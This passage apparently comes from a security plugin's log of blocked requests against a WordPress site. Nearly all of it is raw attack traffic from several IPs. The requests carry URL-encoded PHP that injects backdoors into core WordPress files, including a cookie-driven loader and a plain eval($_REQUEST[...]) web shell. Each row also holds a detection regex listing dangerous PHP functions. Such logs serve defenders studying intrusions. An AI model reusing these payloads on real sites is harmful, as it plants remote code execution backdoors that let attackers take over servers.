20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3263\n\nsw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:56:50","103.93.94.155","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3263\n\nzH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:56:56","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\ncontent-length:3286\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Int32.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B13%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D4%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B13%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B13%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B4%252B1%253B%257D%2524k%253D%2524p%255B18%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B20%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B28%255D%2528%2524n%252C%2524p%255B16%255D.%2524p%255B21%255D%2528%2524p%255B11%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:57:03","164.52.218.210","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Aw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDKpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2052\n\nAw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:57:28","57.128.189.50","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Lk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-numbers.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TkcaDr%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2052\nsec-fetch-dest:document\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGTfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 